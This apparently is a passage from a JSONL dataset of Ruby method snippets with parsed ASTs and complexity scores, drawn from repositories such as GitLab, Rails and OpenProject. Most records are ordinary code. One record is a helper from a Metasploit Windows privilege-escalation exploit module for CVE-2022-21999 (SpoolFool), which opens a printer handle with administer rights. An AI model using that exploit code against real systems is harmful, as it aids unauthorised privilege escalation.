{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/wiki.rb","start_line":75,"raw_source":"def expand_sidebar_if_collapsed\n          click_element('wiki-sidebar-toggle') if has_css?('.wiki-sidebar.sidebar-collapsed', wait: 1)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"expand_sidebar_if_collapsed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_css?\",{\"type\":\"str\",\"children\":[\".wiki-sidebar.sidebar-collapsed\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[null,\"click_element\",{\"type\":\"str\",\"children\":[\"wiki-sidebar-toggle\"]}]},null]}]}","id":"ca153eaa-edf3-4b90-b839-1f1b20e5f5a4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/environment_variable.rb","start_line":30,"raw_source":"def self.available_options\n        [\n          FastlaneCore::ConfigItem.new(key: :set,\n                                       env_name: 'FL_ENVIRONMENT_VARIABLE_SET',\n                                       description: 'Set the environment variables named',\n                                       optional: true,\n                                       type: Hash),\n          FastlaneCore::ConfigItem.new(key: :get,\n                                       env_name: 'FL_ENVIRONMENT_VARIABLE_GET',\n                                       description: 'Get the environment variable named',\n                                       optional: true),\n          FastlaneCore::ConfigItem.new(key: :remove,\n                                       env_name: 'FL_ENVIRONMENT_VARIABLE_REMOVE',\n                                       description: 'Remove the environment variable named',\n                                       optional: true)\n        ]\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"set\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_ENVIRONMENT_VARIABLE_SET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Set the environment variables named\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Hash\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"get\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_ENVIRONMENT_VARIABLE_GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Get the environment variable named\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"remove\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_ENVIRONMENT_VARIABLE_REMOVE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Remove the environment variable named\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}","id":"53a9d1e8-0254-4eb8-be13-79dfda34a05f"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/repository.rb","start_line":232,"raw_source":"def scan_changesets_for_work_package_ids\n    changesets.each(&:scan_comment_for_work_package_ids)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"scan_changesets_for_work_package_ids\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"changesets\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"scan_comment_for_work_package_ids\"]}]}]}]}","id":"f816fead-273d-4320-b603-22f3b6df5b73"}
{"repo_name":"forem","file_path":"./repos/forem/app/helpers/application_helper.rb","start_line":182,"raw_source":"def beautified_url(url)\n    url.sub(%r{\\A((https?|ftp):/)?/}, \"\").sub(/\\?.*/, \"\").chomp(\"/\")\n  rescue StandardError\n    url\n  end","complexity_score":4.9,"ast_json":"{\"type\":\"def\",\"children\":[\"beautified_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"url\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A((https?|ftp):/)?/\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\?.*\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"chomp\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"lvar\",\"children\":[\"url\"]}]},null]}]}","id":"6323ca59-f525-45b7-8af1-a78d4ca82df6"}
{"repo_name":"rails","file_path":"./repos/rails/tools/rail_inspector/lib/rail_inspector/changelog.rb","start_line":194,"raw_source":"def initialize\n        @changelog_count = 0\n        @offense_count = 0\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@changelog_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@offense_count\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"34c1c474-a284-400e-b6bc-d5525a2db44b"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/integrations/dyte_controller.rb","start_line":32,"raw_source":"def dyte_processor_service\n    Integrations::Dyte::ProcessorService.new(account: Current.account, conversation: @conversation)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"dyte_processor_service\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Dyte\"]},\"ProcessorService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"account\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Current\"]},\"account\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conversation\"]},{\"type\":\"ivar\",\"children\":[\"@conversation\"]}]}]}]}]}","id":"2341f1c2-4849-462d-8a90-b819f9524061"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/stub_feature_flags.rb","start_line":71,"raw_source":"def stub_feature_flag_gate(object)\n    return if object.nil?\n    return object if object.is_a?(FeatureGate)\n\n    StubFeatureGate.new(object)\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_feature_flag_gate\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"FeatureGate\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StubFeatureGate\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}","id":"331857cc-e001-49fa-8bf0-f457fa689043"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/primer/open_project/forms/dsl/rich_text_area_input.rb","start_line":10,"raw_source":"def initialize(name:, label:, rich_text_options:, **system_arguments)\n            @name = name\n            @label = label\n            @rich_text_options = rich_text_options\n            @classes = system_arguments[:classes]\n\n            super(**system_arguments)\n          end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"label\"]},{\"type\":\"kwarg\",\"children\":[\"rich_text_options\"]},{\"type\":\"kwrestarg\",\"children\":[\"system_arguments\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@label\",{\"type\":\"lvar\",\"children\":[\"label\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@rich_text_options\",{\"type\":\"lvar\",\"children\":[\"rich_text_options\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@classes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_arguments\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"classes\"]}]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"system_arguments\"]}]}]}]}]}]}","id":"8b9f8569-94e7-44f6-ab03-4eb8539f3bb4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/resolver.rb","start_line":314,"raw_source":"def nameservers=(arg)\n        case arg\n        when String\n          begin\n            @config[:nameservers] = [IPAddr.new(arg)]\n            @logger.info \"Nameservers list changed to value #{@config[:nameservers].inspect}\"\n          rescue ArgumentError # arg is in the name form, not IP\n            nameservers_from_name(arg)\n          end\n        when IPAddr\n          @config[:nameservers] = [arg]\n          @logger.info \"Nameservers list changed to value #{@config[:nameservers].inspect}\"\n        when Array\n          @config[:nameservers] = []\n          arg.each do |x|\n            @config[:nameservers] << case x\n                                     when String\n                                       begin\n                                         IPAddr.new(x)\n                                       rescue ArgumentError\n                                         nameservers_from_name(arg)\n                                         return\n                                       end\n                                     when IPAddr\n                                       x\n                                     else\n                                       raise ResolverArgumentError, \"Wrong argument format\"\n                                     end\n          end\n          @logger.info \"Nameservers list changed to value #{@config[:nameservers].inspect}\"\n        else\n          raise ResolverArgumentError, \"Wrong argument format, neither String, Array nor IPAddr\"\n        end\n      end","complexity_score":43.1,"ast_json":"{\"type\":\"def\",\"children\":[\"nameservers=\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"nameservers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Nameservers list changed to value \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nameservers\"]}]},\"inspect\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"nameservers_from_name\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},null]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"nameservers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Nameservers list changed to value \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nameservers\"]}]},\"inspect\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"nameservers\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nameservers\"]}]},\"<<\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"x\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"nameservers_from_name\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"return\",\"children\":[]}]}]},null]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IPAddr\"]},{\"type\":\"lvar\",\"children\":[\"x\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ResolverArgumentError\"]},{\"type\":\"str\",\"children\":[\"Wrong argument format\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Nameservers list changed to value \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"nameservers\"]}]},\"inspect\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ResolverArgumentError\"]},{\"type\":\"str\",\"children\":[\"Wrong argument format, neither String, Array nor IPAddr\"]}]}]}]}","id":"a6a35d30-9455-4a92-80d9-b6160e72a013"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/local/cve_2022_21999_spoolfool_privesc.rb","start_line":314,"raw_source":"def open_printer\n    print_ptr = session.railgun.util.alloc_and_write_string('RAW')\n    lp_default = [ print_ptr, 0, session.railgun.const('PRINTER_ACCESS_ADMINISTER') ]\n    lp_default_struct = lp_default.pack('QQS')\n\n    winspool.OpenPrinterA(@printer_name, 8, lp_default_struct)\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"open_printer\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"print_ptr\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"util\"]},\"alloc_and_write_string\",{\"type\":\"str\",\"children\":[\"RAW\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lp_default\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"print_ptr\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"const\",{\"type\":\"str\",\"children\":[\"PRINTER_ACCESS_ADMINISTER\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lp_default_struct\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lp_default\"]},\"pack\",{\"type\":\"str\",\"children\":[\"QQS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"winspool\"]},\"OpenPrinterA\",{\"type\":\"ivar\",\"children\":[\"@printer_name\"]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"lvar\",\"children\":[\"lp_default_struct\"]}]}]}]}","id":"a4faf582-d92f-48f6-a194-0176e29d710a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/meeting_sections/backlogs/clear_backlog_dialog_component.rb","start_line":53,"raw_source":"def description\n      if @meeting.recurring?\n        I18n.t(:text_series_backlog_clear_description)\n      else\n        I18n.t(:text_agenda_backlog_clear_description)\n      end\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@meeting\"]},\"recurring?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"text_series_backlog_clear_description\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"text_agenda_backlog_clear_description\"]}]}]}]}","id":"f165b928-140a-4f86-b0e2-92d58c9af1b7"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/test/plugin/test_output.rb","start_line":1161,"raw_source":"def setup\n      Dir.mktmpdir do |lock_dir|\n        ENV['FLUENTD_LOCK_DIR'] = lock_dir\n        yield\n      end\n    end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"mktmpdir\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lock_dir\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"FLUENTD_LOCK_DIR\"]},{\"type\":\"lvar\",\"children\":[\"lock_dir\"]}]},{\"type\":\"yield\",\"children\":[]}]}]}]}","id":"f9f9b3a8-95f1-4178-b407-69cfbefd0a47"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/note_attachments_importer.rb","start_line":114,"raw_source":"def find_record\n          record_class = note_text.record_type.constantize\n          record_class.find(note_text.record_db_id)\n        end","complexity_score":8.2,"ast_json":"{\"type\":\"def\",\"children\":[\"find_record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record_class\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note_text\"]},\"record_type\"]},\"constantize\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"record_class\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"note_text\"]},\"record_db_id\"]}]}]}]}","id":"a9e476fb-2f2c-41ab-a312-06d60a950d98"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb","start_line":52,"raw_source":"def test_enable_extension_migration_ignores_prefix_and_suffix\n    @connection.disable_extension(\"hstore\")\n\n    migrations = [EnableHstore.new(nil, 1)]\n    ActiveRecord::Migrator.new(:up, migrations, @pool.schema_migration, @pool.internal_metadata).migrate\n    assert @connection.extension_enabled?(\"hstore\"), \"extension hstore should be enabled\"\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_enable_extension_migration_ignores_prefix_and_suffix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"disable_extension\",{\"type\":\"str\",\"children\":[\"hstore\"]}]},{\"type\":\"lvasgn\",\"children\":[\"migrations\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EnableHstore\"]},\"new\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Migrator\"]},\"new\",{\"type\":\"sym\",\"children\":[\"up\"]},{\"type\":\"lvar\",\"children\":[\"migrations\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"schema_migration\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pool\"]},\"internal_metadata\"]}]},\"migrate\"]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"extension_enabled?\",{\"type\":\"str\",\"children\":[\"hstore\"]}]},{\"type\":\"str\",\"children\":[\"extension hstore should be enabled\"]}]}]}]}","id":"21b3635b-46a0-4a3b-8209-dffb15f24621"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/fetcher.rb","start_line":123,"raw_source":"def journals_of_event_set(events)\n      journal_ids = events.map(&:event_id)\n\n      Journal\n        .includes(:data, :customizable_journals, :attachable_journals, :bcf_comment)\n        .find(journal_ids)\n        .then { |journals| ::API::V3::Activities::ActivityEagerLoadingWrapper.wrap(journals) }\n        .index_by(&:id)\n    end","complexity_score":12.1,"ast_json":"{\"type\":\"def\",\"children\":[\"journals_of_event_set\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"events\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"journal_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"events\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Journal\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"sym\",\"children\":[\"customizable_journals\"]},{\"type\":\"sym\",\"children\":[\"attachable_journals\"]},{\"type\":\"sym\",\"children\":[\"bcf_comment\"]}]},\"find\",{\"type\":\"lvar\",\"children\":[\"journal_ids\"]}]},\"then\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"journals\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"API\"]},\"V3\"]},\"Activities\"]},\"ActivityEagerLoadingWrapper\"]},\"wrap\",{\"type\":\"lvar\",\"children\":[\"journals\"]}]}]},\"index_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]}]}","id":"454acf12-9125-4687-bbc1-7624f408f942"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/activitypub/activity/reject.rb","start_line":42,"raw_source":"def reject_quote!(quote)\n    return unless quote.quoted_account == @account && quote.status.local?\n\n    # TODO: broadcast an update?\n    quote.reject!\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"reject_quote!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"quote\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quote\"]},\"quoted_account\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@account\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quote\"]},\"status\"]},\"local?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"quote\"]},\"reject!\"]}]}]}","id":"025cf83c-74b4-4454-b2bd-0b00a53763bc"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":683,"raw_source":"def test_strip_newlines\n    assert_template_result('abc', \"{{ source | strip_newlines }}\", { 'source' => \"a\\nb\\nc\" })\n    assert_template_result('abc', \"{{ source | strip_newlines }}\", { 'source' => \"a\\r\\nb\\nc\" })\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strip_newlines\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"abc\"]},{\"type\":\"str\",\"children\":[\"{{ source | strip_newlines }}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"a\\nb\\nc\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"abc\"]},{\"type\":\"str\",\"children\":[\"{{ source | strip_newlines }}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"source\"]},{\"type\":\"str\",\"children\":[\"a\\r\\nb\\nc\"]}]}]}]}]}]}","id":"8ef645c1-67b9-4ff4-9896-bdf0d5daf868"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/trigger-build.rb","start_line":652,"raw_source":"def extra_variables\n      {\n        \"BRANCH_#{project_slug.upcase}\" => ENV['CI_COMMIT_REF_NAME'],\n        \"MERGE_REQUEST_IID_#{project_slug.upcase}\" => ENV['CI_MERGE_REQUEST_IID'],\n        \"REVIEW_SLUG\" => review_slug\n      }\n    end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extra_variables\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"BRANCH_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_slug\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CI_COMMIT_REF_NAME\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"MERGE_REQUEST_IID_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_slug\"]},\"upcase\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":